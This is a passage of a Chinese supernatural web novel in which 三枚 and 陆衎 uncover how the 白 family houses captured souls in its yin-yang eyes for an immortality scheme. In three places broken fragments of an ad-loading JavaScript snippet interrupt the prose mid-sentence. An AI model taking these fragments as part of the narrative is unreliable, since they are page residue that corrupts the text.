与此同时,堂屋里也传来了又轻又缓的碎步声,间或夹杂着一两声咳嗽。 一个穿戴整洁的妇人,手里拿着断成两半的红烛,小心跨过堂屋的门槛,望向站在门口的一行人。 “班门弄斧,让您几位见笑了。”妇人垂眸浅笑。 她身子一侧,对着三枚和陆衎,缓缓地行了一礼,“怠慢了贵客,是我白家的不是,万望见谅。” 门口的中年人和白墨见状,也跟着拱手,对着三枚和陆衎鞠了一躬。 三枚拽着陆衎后退一步,侧身避开了些许。 她皱了皱脸,见行礼的人一直弯着腰不起身,又见阿丑膝盖一软,就要跪下的样子,不耐烦地“啧啧”两声,“这些家伙,一个个的,吓唬谁呢!” 三枚心里愤愤,用力地握着陆衎的手,磨牙嚯嚯,哒哒哒踩着重步,三两下就进了门。 她走得飞快,仿若一阵风,直接与矮身福礼的妇人擦肩而过,眼睛看也不看她,径直进了堂屋。 被拖着走的陆衎,冷眼微眯,经过妇人身边的时候,不轻不重地扫了妇人一眼,心里轻哼一声。 三口之家,看来是以眼前的妇人为主。 白墨悄悄抬起头,看见三枚他们终于进屋,小小地吁了一口气。 他直起腰,嘿嘿笑望着中年人,讨好地道:“爹,他们已经进屋了。” 中年男人皱着眉头,斜睨了白墨一眼,再看捂着心脏,一脸受伤的阿丑,翻了个白眼。 “哼!”瞪了自己的儿子一眼,男人沉声道:“还不拉着阿丑进来。”说完头也不回,转身也进了堂屋。 “哦。” 白墨噘着嘴,拉着魂游天外的阿丑追了上去,顺手将院门也关上了。 —— 天光大亮,安静沉睡的碧水村,陆陆续续苏醒了过来。 金色的阳光,慷慨地洒照在大地,光线透过门窗,照亮了原本昏暗的堂屋。 三枚和陆衎坐在椅子上,看着白墨小心翼翼给堂内的人端茶倒水,嫌弃地皱了皱脸。 白墨弯着腰,分别给陆衎和三枚都都上了茶点,才慢慢地退到角落的矮凳上坐下。 小八耳嘴里嚼巴着桂花糕,在堂屋里溜溜达达,转了一圈,慢悠悠地在三枚的脚边,趾高气昂地瞥了眼倚在门口的阿丑。 阿丑靠在门边,就坐在门槛上,耷拉着眼睛,委屈兮兮地看着三枚,一副天塌了的样子。 “咳咳,”妇人轻咳一声,将所有人的注意力拉回到自己的身上。 “先跟二位,作下自我介绍,”她指着自己,“我姓白,叫做白安好,黑山寨的白老太,是与我同宗的姑姑。” 她指着坐在自己右手边的中年男人,“这是我的夫君,木铭。” 见亲娘正介绍家里成员呢,白墨默默地从角落起身,走到了他爹的身边。 白安好睨了眼自己那灰头土脸的儿子,“这是我的儿子,白墨。” “阿丑,”她指着阿丑,“不用我多作介绍,想必您们应该知道,她是我白老姑的孙女。” 三句不离白老太,以为那老太婆在这里有多大面子呢,哼! 三枚一脸冷漠,静静地看着白安好自说自话,一点搭理她的意思都没有。 陆衎更不将人放在眼里,慵懒地端起了茶盏,轻轻地吹拂着漂浮在水上的茶叶。 主人家在自己的地盘,就这么堂而皇之地被客人下了脸面,实在令人难堪。 白安好柳叶眉微蹙,心里有些不悦,与边上的丈夫对视了一眼,袖中的手轻轻一握,又慢慢放开。 “我们这一支,当年随着老太爷从黑山寨搬了出来,来到了这儿的碧水村,算是重新扎根了。” 她沉住气,絮絮叨叨开始讲述起他们的祖先脱离黑山寨后,在碧水村是如何艰难扎根发展,逐渐站稳脚跟,之后又是突逢变故,族里的人莫名病的病、死的死,近几年甚至有绝后的迹象。 说得口干舌燥,白安好抄起手边的茶盏,润了润喉,正欲继续的时候,见三枚突然打起了哈欠,面色倏而一僵。 她终于抬起了眼睛,确认一般在三枚和陆衎的脸上看了一会儿。 三枚伸了个懒腰,挠了挠耳朵,将桌上的糕点,朝陆衎的方向推了推,“尝尝看,应该没毒。” 小八耳歪靠在她的脚边,一副百无聊赖的懒散模样,听见三枚的话,稍微应和了一声:“咕!” 确实没毒,就是有点噎人。 “嗯。”陆衎嘴边漾着浅笑,闻言点了点头。 他将手上吹凉了的清茶递给三枚,慢声道:“这茶品相虽次了点,但也没毒,你将就着润润口。” 两人你一言我一语,旁若无人的对话,充满了讽刺意味。 白安好的脸一下子就沉了下来,这是在阴阳怪气他们包藏祸心吗? 这就是阿丑敢拍着胸脯、信誓旦旦保证的好相处? 心里一堵,她实在有些说不下去了,委屈地看向了自己的丈夫。 木铭见自己的妻子一脸气怒的样子,安抚地拍了拍她的手背。 “阿好,稍安勿躁。”他朝白安好轻轻地摇了摇头,慢慢地从座上站了起来。 “之前在院门那般无礼举动,其实是我的主意。” 木铭上前一步,对着陆衎和三枚拱手,“这边,我再次为自己的冒失举动,向二位说声抱歉。” 他向来不惮以最大恶意揣测他人,时刻秉持防人之心不可无的原则,一视同仁地对待所有的陌生人。 虽然在白老太的口中,三枚是个心软、良善、聪明又有本事的好人,但没有亲眼确认过,木铭不会尽信。 他们之前的谋划,也猜到了会被看穿戳破,也已经想好了各种应对的办法。 令所有人意外的是,中途多了个陆衎这么一个大理寺少卿。 方才听白墨和阿丑说了一嘴,好像还有个世子爷。 计划出现了意外,以防万一,木铭他们自然也当保持警戒,随机应变。 现在看来,自己的谨慎小心,最后却是弄巧成拙,明显是得罪了人。 他一脸诚恳,再次道歉:“事出有因,还望见谅。” 三枚把脸别向一边,轻哼了一声。 白墨行事向来比照他爹,见老爹又开始鞠躬致歉了,他不躲着藏着,连忙从后头出来,学他爹又是拱手又是鞠躬。 “冒犯了二位大人,实在对不住呀,对不住,对不住了.. (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ....” 倚在门口的阿丑见状,眨了眨眼,瞬间回魂,一下子就窜到了白墨的身边,也跟着朝三枚拱手。 “三枚阿姐,实在是对不住呀,对不住。” 余光偷偷觑了三枚一眼,感觉她没方才那么冷淡了,阿丑心里一喜,偷摸上前一步,苦着脸道:“我们也是被坑怕了,不是故意针对你们的。” “这就是我们的日常,谁知道咱们身后没有跟着什么牛鬼蛇神呢,人在江湖,多个心眼,也是在所难免的嘛。” “多个心眼?” 三枚呵呵两声,冷声道:“我看是下马威才差不多。” “绝对没有的事!”白墨和阿丑异口同声地道。 两人疯狂摆手,脑袋差点要成了拨浪鼓。 阿丑:“给谁下马威,也不能是您呀!” “像您这样人美心善,又有真本事的人才,我们笼络还老不及呢,怎么敢给您下马威!” “就是我好叔好婶,也不行!我阿奶也不行!” 阿丑从怀里掏出一块绢布,小心翼翼地托到三枚跟前,连忙表忠心:“您瞧,当初您给的白黍米,我还剩了一小把呢。” 三枚被阿丑几句不要钱的好话,夸得心情愉悦,心里的不爽,顷刻间消散了大半。 她眼睛朝下斜睨了一眼,见绢布里果真包裹着几粒白黍米。 再看阿丑一副珍惜的小模样,心里剩下的那点气,也叫她那几句软话,都给磨没了。 压了压总想上扬的嘴角,三枚故作浑不在意:“哼,知人知面不知心,你自己数数,从昨晚到现在,你骗了我几回了。” “没骗,那怎么能叫骗呢?”阿丑摆手,“再说了,您这么聪明,一开始就看出了我们的小把戏,不是吗?” 她委屈兮兮地收回手,“反倒是我和二哥,被你们耍得团团转,还、还......”还被各种死亡威胁。 最后一句话,阿丑只敢在心里嘀咕。 她现在的另半边身子,已经完全被陆大人那冷漠无情的眼神,给冻成了冰渣了。 “哼。” 三枚瞪了阿丑一眼,将绢布里的白黍米一把抓起,往地上一丢。 天上掉黍米了! 打盹的小八耳,一下就来了精神,翅膀一拍,嘴巴一张,将白黍米“稀里哗啦”如数接到了嘴巴里。 “哎呀!”阿丑跺脚,一脸心痛,握起拳头就要去砸八耳的脑袋,“那是我的黍米,你把东西给我吐出来!” 白墨连忙拦住阿丑,“阿丑,你别激动,这鸡厉害着呢,刚才差点把你给啄伤了呢,哎哟,你打到我了......” 于是乎,跑路的跑路,抓鸡的抓鸡,还有一个和事佬又拦又劝的,原本气氛沉闷的堂屋,一下子就乱成了一团。 陆衎被吵得耳朵疼,扭头却见三枚嘴角笑意盈盈,心情还挺不错的样子,便也忍着不适,心情也莫名好了起来。。 “你的心意,我算是收下了。”看了一会儿好戏的三枚,忽然慢悠悠地道。 白墨耳朵灵通,连忙懒腰抱住阿丑,“阿丑,她说收下了。” “啊?”又蹦又跳的阿丑,反应过来便是一喜,瞬间就笑开了花,“真的吗?你不生我气啦?” 三枚睨了她一眼,没有回答,而是低头浅浅地喝了口茶,入口苦涩无味,呸呸吐掉嘴里的残渣。 将茶盏重重放在桌上,她指着端坐在上首看热闹的白安好。 “现在废话少说,在弄清你们三姓老祖干的缺德勾当前,你,把刚才出现在堂屋的幽魂,都给我吐出来。” 105. 第 105 章 “你——” 白安好捂着自己的右眼,指着三枚道:“你、你怎么知道......” 三枚哼了一声,看了同样紧紧捂着自己一只眼睛的阿丑和白墨,“我怎么知道的,你不用管。你只需要将囚困在你眼里的幽魂,都给我放出来便是。” 白安好指着地上的锁魂箱,大声道:“你的箱子里,曾经也囚困过不少的幽冥,现在里面,不也有吗?” 三枚:“我寻尸人的身份,想必白老太已经跟你们说过,你不用胡搅蛮缠。” 她眉头轻拧,看着白安好的神情冷漠,“何况此刻我箱子里装着谁人的幽魂,我就不信你们不知道。” 木铭猛然上前一步,神经紧张:“你、你真的、” 他转头,看着白安好:“里面是阿梅小姐?” 白安好摇头:“我不确定,只能看见大致的影子,里头不止一个女子,还有两个男的。” 木铭:“那你的眼睛,是不是也可以——” “我看不出来,里头收着谁的魂,还不能肯定。”白安好断然打断道。 三枚冷眼扫了她一眼,讥讽道:“那你这阴阳眼不行啊,就隔了一个木箱子的壳,连具体的内容都看不清楚。” 她面露不屑,指着阿丑和白墨,“这两个小家伙,跟我呆的时间不短,一路上不管有意无意,都碰过我的锁魂箱,你猜,他俩看出什么了没有?” 白安好和木铭嚯地转头,眼神犀利地盯着阿丑和白墨。 白墨摇头,一脸羞愧地低下头,“我、我什么也没看见,连、连感觉也没有。” “我、我也没有......”阿丑眉头紧皱,用力地盯着那个锁魂箱看,别说是影子了,就连阴气都没感觉到一点。 “哼!”三枚踢了踢桌角,“你把眼睛看凸了也没用。” 人老成精的白老太,若不是经她提醒,甚至都没发现木清梅从养尸地里消失了。 阿丑双肩一颤,瞬间就缩回了脖子。 三枚:“我不管你们是出于什么原因,宁愿用自己的身体作器皿,不惜折寿,也要专门承载这些来自阴间的幽冥。” 她目光冷峻,盯着白安好,一字一顿地道:“罔顾阴阳两道,难怪你们白家要绝后。” “你!” 白安好心尖一颤,被戳中痛处后恼羞成怒,顿时拍案而起,怒指三枚:“你、你......” 她气得浑身发抖,连话说不出来,狰狞地瞪着人,倏而眼睛感到一阵抽痛,仿佛有什么在里头乱窜。 疼得她倒吸一口气,脸色瞬间煞白,捂着心口一脸难受,白眼一翻,身子软软地向后倒去。 “阿好!”木铭大惊,连忙伸手将人接住。 “娘!”白墨也吓得跳了起来,飞快奔向她娘。 阿丑更是惊慌失措,大吼着围了上去:“好婶!你怎么了?” 三枚:...... 她眨巴眨巴眼睛,心有不安,猛然转头看向陆衎,小声问他:“我有说错什么吗?” 陆衎漫不经心地扫了围作一团的几人,安抚地拍了拍三枚的手背,柔声道:“不关你事,是她自己心理承受能力差。” 他看着三枚的眼睛,肯定地道:“放心,你没有做错。” “是吧。” 三枚仿佛吃了一颗定心丸,一下子就镇定了下来,她一脸无辜耸了耸肩:“我不过是说了个他们自己都心知肚明的事实而已,怎么就气岔了气呢?” 而且,他们和白老太处心积虑将自己引骗到这儿,不正是为了破局吗? 现在又是闹哪样?真是令人费解! 三枚虽然心里吐槽不断,但也不能眼睁睁看着人在自己的面前气撅了去。 “八耳。”她敲了下桌子,对着歪歪扭扭靠在陆衎脚边的小八耳喊道。 “咕!” 八耳迷迷糊糊睁开眼睛,不情不愿地应了一声,动都没动,迷迷糊糊又要闭上。 陆衎脚腕一转,轻轻地点了八耳一下,冷声道:“醒醒。” “嘎。” 熬了一整夜,连觉都不然鸡睡好了! 八耳振翅一拍,脑袋在光秃秃的翅膀里埋了一会儿,醒了一会儿,才晃晃悠悠地站直了身子,抬头望向三枚。 “去,那边儿呢?”三枚指着还在抽搐的白安好。 于是乎,八耳拍着翅膀飞到了空中,在白安好的头顶盘旋了一圈,接着落到了桌上,对着盘子里的桂花糕,“哒哒哒”猛磕了起来。 阿丑就在它的边上,听见声音,疑惑地转过头,“它、干嘛呢?” 她再仔细一瞧,一叠的桂花糕,眨眼都进了八耳的肚子里。 吃得这般狼吞虎咽,也不怕噎住了。 八耳嘴下不停,不屑地睨了阿丑一眼,接着张嘴,“哇”地一下就吐了出来。 “天,真噎着了?我就说吧,你这么——咦?” 她眉头一皱,捂着鼻子慢慢地凑近八耳,就见八耳尖锐的嘴巴里,吐出来的不是什么恶心的呕吐物,而是类似蚕丝一样的白絮团,整整齐齐地码在空盘子里。 阿丑惊奇地指着盘子,高声问道:“这是、啥呀?” 木铭和白墨一人一边,又是掐着白安好的人中,又是掰着她的嘴巴,正忙得晕头转向。 突然听见阿丑的惊呼,父子两人不约而同地转头看去。 阿丑捻着八耳已经吐完了的白絮团,请轻轻地晃了晃,一脸好奇地嗅了又嗅。 “把东西用温水泡上,湿透了敷在她的阴阳眼上,半刻钟就好了。”三枚打了个哈欠,对着木铭怀里的白安好道。 “人鬼殊途,她这样儿,必是遭到了反噬。” 木铭皱眉:“反噬?” 三枚挑了挑眉:“她不是今天才出问题的吧?看状况,应该有四五年了。” “对对对!”白墨大声地道:“我娘气短胸闷,动不动就痉挛昏迷的症状,确实五年前才开始的。” “而且不止我娘,我们白家其他的人,都——” “白墨!”木铭突然出声,打断了嚷嚷不停的儿子。 真是缺心眼,人家才问了一句话,自己絮絮叨叨就要将底都给交代了去。 睨了傻愣愣的儿子一眼,木铭看向三枚,指着阿丑手里的白絮团,狐疑地问:“这东西,能治好阿好的病?” 三枚耸了耸肩,“什么病不病的,那是作孽后遭受的反噬。至于想不想治,你得等她醒了,问问她自己是怎么想的。” “哦对了,”她指了指那团白絮,“这东西吧,想湿透可不容易,不变透明等于没用。” “你信不信吧,反正半刻钟后它便失效。” 三枚懒懒地伸了个腰,“而且吧,我家八耳可不好哄,从它嘴里出来的好东西,没个十天半月的,不会再给一次。” 简而言之,东西就只有这么一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,过时不候,再来没有,你们掂量掂量,爱用不用! 说完,三枚背上锁魂箱,示意陆衎走人。 八耳左右张望了一会儿,从桌上飞了下来,呼扇着翅膀,最后落在了锁魂箱上。 木铭看着他们离去的背影,思忖了一瞬,一把抱起白安好,对着愣神发呆的白墨道:“白墨,快到厨房打水来,把那东西泡上。” 白墨瞬间回神,连忙点头:“哦,好的。”话刚说完,人已经跑得没影了。 “阿丑,快去追人,务必把人留住。” 将手里的东西,小心地放回空盘子里,阿丑咽了口口水,“那我、我去把人追回来。”说完也跟着出了堂屋。 木铭叹了口气,沉声道:“但愿,白老姑都是对的。” —— 三枚和陆衎并没有离开,而是闲庭散步一样,在院子里打转。 阿丑就站在他们身后的不远处,见他们没有要离开的意思,便没有唐突靠近,亦不敢出声打扰。 她坐在台阶上,双手撑着下巴,安静地看着陆衎和三枚的背影,看着看着,就走起了神。 “怪不得说书的总爱讲那郎才女貌的有情人,长得好看的人,连背影看起来,都是这般的赏心悦目!” 不知道自己已经被当成了风景欣赏,三枚晃悠到了院子的西南角。 她顿足于一棵枯树前,抬头看了一会儿点缀在枝杈上的潦草黄叶,忽而好奇地数起了树干上的破洞。 “你看,这些小破洞,像是虫蛀的吗?”数完了树洞,她突然问道。 树干上的破洞,奇形怪状,有棱有角,比较大的有拳头那般大,小的连指甲盖都没有。 破口处呈焦黑色,像是用火烤过一般。 陆衎往前走了一步,凑到三枚边上,视线从树洞上一一掠过。 半晌后,他回道:“不像虫蛀,更像是人为凿刻,应该是用火钳之类的,刻意戳破制造出来的伤口。” 他正想上手确认一下,手才伸出来,就被三枚握住了。 眼尾一挑,陆衎看向三枚,眸中笑意清浅。 三枚轻轻摇头,“十个树洞,刚好跟堂屋里一晃而过的鬼影数目,对上了。” “你是说,”陆衎目光移到树洞上,“这些树洞......” 话只说了一般,他便顿住,侧着耳朵听了一会儿,眼神一凛,反手就将三枚护在了怀里。 陆衎警戒地看着门口的方向,在三枚头顶,压低声音道:“有人来了。” 三枚没有说话,乖乖地被陆衎护在怀里,听见他的话,眸光一闪,却是将目光,投向了柴房的方向。 “叩、叩、叩、” 院门被人从外头敲响,犹如在一汪平静的湖水里,投注进去了一颗石子。 阿丑就是被那石子激起的涟漪。 她一下子就跳了起来,神情慌张,左顾右盼,一下子冲到门口要去开门,又怕外头是什么恶鬼神煞,吓得又窜到堂屋,却发现堂内空无一人。 拍门声还在继续,仿佛夺命的奏歌,方寸大乱的阿丑,又窜又跳地来到了三枚跟前。 她看了冷脸的陆衎一眼,紧张地问三枚:“三枚阿姐,怎么办?要开门吗?还是我们跑到哪里躲起来先?”声音很小,好像在说什么悄悄话。 三枚低低地笑了笑,缓缓抬手,手指指向柴房的位置。 “怎么办?问你白家真正的话事人去!” 106. 第 106 章 “怎么办?问你白家真正的话事人去!” 三枚话音刚落,空气倏而一滞。 阿丑身子瞬间僵住,嘴巴一抿,屏住呼吸,大气都不敢出。 她再也不敢在三枚面前撒谎,也不敢顺着三枚的手指看向柴房,心虚地低垂着脑袋。 “啪啪啪!啪啪啪!啪啪啪!” 叩门的声音,变成了急促的拍打,连续不断,院子却安静的落针可闻。 迟迟没人过去开门,门外的也不出声。 冷风乍起,吹过死期将至的枯树,掠下它为数不多的枯叶,落在地上,扑簌扑簌。 阿丑紧张地揪着衣袖,踹踹不安地看着三枚,忽而小声地呼出一口浊气,犹犹豫豫抬起头来,刚要张口说话:“我——” “嘎吱~” 柴房的门,却在这时开了。 一个满头银丝的老妇,杵着拐杖,慢慢地从里头走了出来。 拐杖敲在地上,发出沉重的闷响,盖过了外头急促的拍门声。 老妇与三枚对视了一会儿,便移开了视线。 “阿丑,开门吧。”她缓声说道,声音低沉苍老。 阿丑抹了把鬓角沁出的冷汗,声若蚊蝇地道:“是,老祖宗。”脚下却不动。 老妇看向三枚:“你就是雪玉说的,山门的寻尸人?” 三枚眼尾一挑,面不改色,心里却暗暗吐槽:白老太跟雪玉这名儿,怎么听怎么不搭! 但她现在有些累了,靠在陆衎的身上,杏眸紧盯着老妇,却没有开口说话的意思。 老妇抿了抿嘴,“请进吧,你想打听什么,老身若是知道,一定知无不言、言无不尽。” 只要你能将我白氏一族,从泥沼里拉上一把。 —— 看似不起眼的小小柴房,原来内里有乾坤。 与水都镇山神玉玺藏身的洞府一般,柴房里也藏了一条通往底下的暗道。 走过狭长幽暗的暗道,三枚他们被带到了一间地下室。 阿丑也跟在他们的身后,小小声地嘀咕道:“这儿是老祖宗的寝室,平时,都不让轻易进的呢。” 三枚撇撇嘴:暗无天日,一片阴沉死气,说得好像谁多稀罕进来一样。 “坐吧。”老妇靠在一张石椅上,缓缓地喘着气。 阿丑不用人吩咐,很有眼色地开始端茶倒水。 等三枚和陆衎落座,老妇接过阿丑递过来的茶杯,浅浅地喝了口水,闭上眼睛叹了口气,不等人问,自己便开始说了起来。 “我们白家的事,想必你从其他人那儿,也听得差不多了,我猜你可能也没什么兴趣。” 三枚眨了眨眼:“还行吧。” 老妇:“我也不多絮叨,直说重点。” “黑山寨三姓祖先,追求长生一事,从黑渊里出来后,也没有放弃过。” 她看着三枚:“你应该也猜到了,他们表面看似分道扬镳,实则在暗中分工合作、各司其职。” “在黑渊里,也不知道老祖宗们,具体是接受到了怎样的启示,出来后大家分散各处,只为寻到长生不老之术。” 木氏一族的人,勇敢聪明,不管是出谋划策,还是协调统率的能力,比起其他两姓人家,都要出色很多,因此他们留在黑山寨镇守大后方,随时给予各方支持。 洪姓一脉,机敏圆滑,擅长人□□际,游刃有余,收集情报的能力出类拔萃,所以他们分散在外,主要是打听世间奇人异事。 指了指自己的右眼,老妇沉声道:“我们白家,虽然看起来格外弱势,但世代遗传的阴阳眼,却是与生俱来的天赋。” “黑渊是个灵地,最先便是我们白家老祖发现的。”老妇摇着头,不断叹气,“但,那也只是一块土地罢了。” “努力了那么多年,三姓族人谁都躲不过生老病死的自然规律。其实,大部分人早就心生退意,不再异想天开了。” 白氏一族便是出现分歧的那批人。 然而,放弃的人却还生活在黑山寨,执着做梦的其他部分人,却举家搬到了碧水村。 安分守己的人,在寨子里逐渐被边缘化,却也乐得自在充实,心里不再感到虚无空寂。 “折腾了这么多年,到我这一代的时候,也没有多少人固执己见非要成仙了,他们心知肚明,也不愿再继续折腾下去了。” 老妇揉着发胀的太阳穴,声音低沉:“就在木氏的人,都开始感到心灰意冷的时候,离寨多年的洪姓一族,居然回来了,还带回来了一个高人!” 高人乍看不起眼,口气却大的不得了。 在黑渊里转了一圈之后,那高人欣喜若狂地表示,黑渊确实是世间难得的风水圣地,别说是长生不老,你要得道升天,根本就不在话下。 “但我们老祖宗在这儿修炼了多年,却总是不得长生之法,这是为何?” “你们用错了方法,当然达不到目的啊!” 老妇在脑海里搜寻着尘封已久的记忆,“那位高人,居高临下看着我们的眼神,充满了不屑、轻蔑,就像在看一群蠢货笨驴一般。” “他说,宝地灵气丰韵,人要得用,必须得将灵气转移到自己的身上,才是正确之道。” 怎么转移? 自然是通过某种媒介,再用秘术,转移到人的身上来。 何种媒介?又须得使用什么秘术? 人想长生,人要成仙,以彼还彼,自然是用活人做媒介,安全,且无后顾之忧。 族长再追问,他仰天大笑三声,傲气冲天地道:“至于秘术,乃我门派之传,无可奉告。” 老妇当年还只是一个小孩,根本不知道那个所谓的高人,到底是如何与三姓的族长交涉,大人之间,又达成了怎么样的交易。 反正后来,三姓配合高人指点,开始了轰轰烈烈的成仙之路。 洪姓部分族人回归,就在碧水村的边上,开荒建造,一如当初创建了黑山寨一般,古井村应运而生。 “咳咳咳,”老妇说着说着,突然剧烈地咳嗽了起来。 听故事的阿丑,连忙倒了杯温水,喂到了她的嘴边,一边帮她顺着背。 “老祖宗,要不,您歇会儿再说?”阿丑忧心忡忡地看着老妇。 “时间不等人啊,这会儿,快要入午了吧。”老妇摇着头,嗓子发哑地问。 阿丑苦着脸,看着三枚问道:“真的吗?” 地下密道,除了微弱的烛火 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,哪儿能看见外头的日光,也不知道老妇是怎么判断的时间。 三枚被看得一愣,转头盯着陆衎:“你说呢?” 陆衎还真在心里算了起来,须臾点头:“差不多吧。” 他们进柴房前,已过辰时,在密道里弯弯绕绕,走了差不多半个时辰,才随老妇进入地下室,接着又听她断断续续,讲了将近一个时辰之久的故事。 时间粗粗一对,现在确实午时左右。 三枚虽然不知道陆衎是怎么算的,但是,她饿了。 她捂着肚子,一下子就摊在了椅子里。 “啊,不说还不觉得,我感觉自己饿死了要!” 从坠落黑渊,与一群幽冥周旋,再到养尸地里封印九阴之地。 出来后三枚跟老妪吵了几架,斗嘴斗气之后直奔古井村,又是折腾了一夜。 忙活了一大圈,他们没有休息多久,趁着天亮前,跟着阿丑和白墨又到了碧水村,最后又被带进了地下室。 “折腾了这么久,我到现在一口饭都没吃上,就只有刚才在那个破堂屋里喝了一小口茶,那茶还又苦又涩难喝得很!” “我饿死了饿死了!!!” 阿丑一惊:这么突然? 三枚心累,简直累麻了,她颤悠悠地抬起手,有气无力地道:“你们看见没有,我已经饿得前胸贴后背,手脚发麻发抖,眼冒金星了。” 不给饭吃,别想让她干活! 陆衎拧眉,冷眼扫向阿丑:“你们这儿,有肉饼吗?” “肉饼?”阿丑傻眼,“肉饼,现在做,还、还来得及吗?” 她虽然是会做,但过程有点麻烦。 “热乎的饭菜吃吗?我炒菜还挺利索的。”阿丑小心翼翼地问道。 “吃!”三枚一个鲤鱼打挺,嚯的一下就从陆衎的怀里起身,“白米饭!大口的肉!” 她看着陆衎:“你还想吃什么?” 陆衎看着眼神发光的三枚,眨了眨眼:“我都可以,随你。” “行!那就大鱼大肉都给我上!”三枚拍桌,中气十足地喊道。 “咕咕!!” 说到吃的,八耳也不犯困了,立马跳脚了起来。 三枚心里一乐,指着它道:“对了,给我家八耳,也准备点上好的白黍米。” 看着馋猫一样的三枚,陆衎嘴角情不自禁往上一扬,扭头看着阿丑:“听见了?” 阿丑被三枚搞蒙了,愣愣地道:“我上哪儿给你搞大鱼大肉啊?” “咳咳,”老妇猛咳了几声,手指向外一指:“告诉木铭,他自会准备。” “哦、哦哦。”阿丑噘着嘴,慢吞吞地往出走。 三枚憋着笑:“搞快点啊,你只有半个时辰的时间。” 半个时辰!!!! 这么点时间,哪来得及准备啊? 小碎步急忙变成了极速奔跑,心急如焚的阿丑,一下子就跑没了影。 阿丑的背影,在幽暗的密道消失的瞬间,三枚的小脸便是一沉。 她双眼冷清,看着装模作样的老妇,语气淡漠地道:“阿丑帮你支开了。” “这下,你能将你们三姓那不要脸的遮羞布,给掀了吗?” 107. 第 107 章 “古井村农田里装神弄鬼的瞎眼老妪,也是你么白家的人吧?” 三枚眼神犀利,看着老妇,一脸讥诮。 老妇身子一僵,歪靠在椅子上的身子,慢慢地坐正了起来。 她低头,浅浅地喝了一口热水,才慢声道:“是的。” “她与我一般,是白氏另一个分支的老人了。”老妇眯着眼睛,好似陷入了回忆。 “我记得,她曾经有一双水灵清澈的大眼睛,看着人的时候扑闪扑闪,总是惹人怜爱。” “年轻时,拈酸吃醋是少年人的本能,家里大人夸赞她有一双无人能匹的好眼睛的时候,我面上总是不服,心里却是羡慕得很。” 老妇伸出两根手指,语气满是羡慕:“我们白家大多数人,只要一只阴阳眼,而她,却有两只。” 独一无二,万众瞩目,简直风光极了! “可惜了呀,可惜了,”老妇说着,忽而低头轻笑了一声,“如今,她成了个瞎子,我的眼睛,也废得差不多了。” 三枚跟陆衎对视了一眼,问:“跟你们院子里的那棵枯树,不无关系吧?” 老妇缓缓地点了点头,却是指着自己的右眼。 “黑渊,就是我们白家老祖的阴阳眼率先发现的,所以三姓之中,最先遭到报应的,也是我们白家。” 她抬头,看着黑压压的屋顶,“碧水村里的白家血脉,突然暴毙的,莫名伤病的,如今走得都差不多了。” “剩下的几个老弱妇孺,估摸你们这两天都见了个遍。” 三枚拧眉,略微思考了一瞬,恍然:一个能组成规模的氏族,如今竟是存活不到十个人。 “古井村的人呢?据说是三姓之一的洪姓,是真的全村遭到了灭顶之灾,还是又迁移走了?” 陆衎眼神锐利,一瞬不动,紧盯着老妇的问道。 老妇抬眸,浑浊苍老的眼睛,直直地与他对视。 “灭顶之灾是真,但并非全村,他们的领头羊,还有几个左膀右臂,如今还好好地当着碧水村的村长呢。” 三枚:“怎么回事?” “我收到的消息,是他们发生了内讧,被黑渊吞噬,亦是意外,哼,骗小孩玩儿呢!”老妇不屑一笑。 “全是那老洪头的片面之词,实际上,古井村那一村的活人,不过是他向上表忠心的投名状罢了!” “投名状?给谁投的?”三枚追问道,“那个神秘的高人?” “什么高人不高人,不过一介凡夫俗子,”老妇一脸鄙夷不屑,“早死透了!” 三枚惊讶:“死了?” “七年前就死了。”骨灰都让人扬进了大海,“现在主事的,是三姓的木氏一族。” “老洪头的投名状,就是给木府老太爷表忠心的。” 三枚眉头紧拧:“木府老太爷?” 老妇:“听说那高人去世前,将自己的秘术,如数都交代给了木府老太爷。” 三枚眉头紧拧:“会邪术的祸害死了,你们还相信他之前说的能修道成仙的秘术?” 能助人飞仙的高人,自己却躲不过生老病死? 也太荒谬了吧! 你们三姓是有多愚昧无知,才会一直执迷不悟,一条道走到黑啊! “哎,没人信啊!”老妇长叹一声,“他们说那高人就是羽化飞仙,上天做逍遥神仙去了。” 她戳了戳自己的阴阳眼,“可我的这只眼睛,分明看见那黑白无常,拖着那祸害进地狱了。” 她看得清清楚楚,说出来却没人相信,一把年纪甚至差点被押着刑拷。 “最后还是好娘出面,将我给赎了回来。” “赎?”陆衎疑惑地道,“拿什么赎?” 老妇蹙眉,缓缓地闭上了眼睛,“带回院子里的那棵枯树,好娘养了半年,他们便将我放了。” 一个树洞,一人魂,十三个树洞,代表十三个鬼魂。 “你是说,活埋在黑渊养尸地里的那些人,被残忍剥夺的灵魂,都被养在树洞里?” 老妇点头,“像蚕茧包裹蚕蛹一样,树洞只是安置那些鬼魂的暂住之地而已,真正滋养它们的,是我们的眼睛。” “那些人的魂灵,都被引进了我们白家的阴阳眼里。” 她抬头,看着三枚道:“这就是我们白家虽然势弱,却从来不曾被他们抛弃割舍的原因。” “白家成年的男女,无论老少,每个人的阴阳眼里,都养着不少的鬼魂。” “活体养鬼魂,这与自取灭亡,有何差别?你们、你们......”三枚听到这里,简直无语至极,不敢相信世上真的有人傻到这样的地步! “哈哈,”老妇突然笑了起来,“是啊,自取灭亡,哈哈哈,你说的实在是对极了!” 被人三言两语哄骗得团团乱转,完全丧失了自我思考能力的白家人啊,简直傻到家了啊! 陆衎面色冷沉,“不管你们是不是咎由自取,那些被害的无辜之人,都是从何而来?” “马大旺一家三口,又是怎么回事?” “马大旺?”老妇抬眸,拧着眉头:“你若说的是五年前失踪的那一家三口的话,不管是木府还是洪姓那边,都说是一场意外。” “但老洪头从古井村搬到碧水村,便是利用马大旺一死,才坐上了如今的村长之位。” “碧水村,除了部分洪姓人,和我们白家的人,其余都普通的寻常百姓。” 老妇捂着自己的额头:“真真假假,混作一团,若是突发变故,官府清算起来,总是要费些功夫,我们这些做乱的人,便有可趁之机。” 三枚看了陆衎一眼,又问:“被害的人,是如何被活埋进黑渊的?对于那个神秘的养尸地,你还知道些什么?” “我们就是什么都不知道,才会落得断子绝孙如此地步啊!” 三枚:“其他两姓呢?” “你们白家鬼魂缠身,最后被反噬暴毙,而洪姓呢,姑且我先将他们全村都成了活死人当做报应,木氏一族呢?” 